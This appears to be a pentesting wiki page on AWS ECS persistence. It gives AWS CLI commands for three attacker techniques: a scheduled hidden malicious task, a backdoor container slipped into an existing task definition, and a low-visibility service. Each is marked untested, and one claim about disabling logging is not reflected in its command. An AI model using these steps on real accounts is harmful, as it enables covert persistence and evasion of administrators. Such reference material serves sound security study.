AWS - ECS Persistence

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ECS

For more information check:

AWS - ECS Enum

Hidden Periodic ECS Task

TODO: Test

An attacker can create a hidden periodic ECS task using Amazon EventBridge to schedule the execution of a malicious task periodically. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
  {
    "name": "malicious-container",
    "image": "malicious-image:latest",
    "memory": 256,
    "cpu": 10,
    "essential": true
  }
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
  {
    "Id": "malicious-ecs-task-target",
    "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
    "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
    "EcsParameters": {
      "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
      "TaskCount": 1
    }
  }
]'

Backdoor Container in Existing ECS Task Definition

TODO: Test

An attacker can add a stealthy backdoor container in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.

# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
  {
    "name": "legitimate-container",
    "image": "legitimate-image:latest",
    "memory": 256,
    "cpu": 10,
    "essential": true
  },
  {
    "name": "backdoor-container",
    "image": "malicious-image:latest",
    "memory": 256,
    "cpu": 10,
    "essential": false
  }
]'

Undocumented ECS Service

TODO: Test

An attacker can create an undocumented ECS service that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
  {
    "name": "malicious-container",
    "image": "malicious-image:latest",
    "memory": 256,
    "cpu": 10,
    "essential": true
  }
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"

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• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

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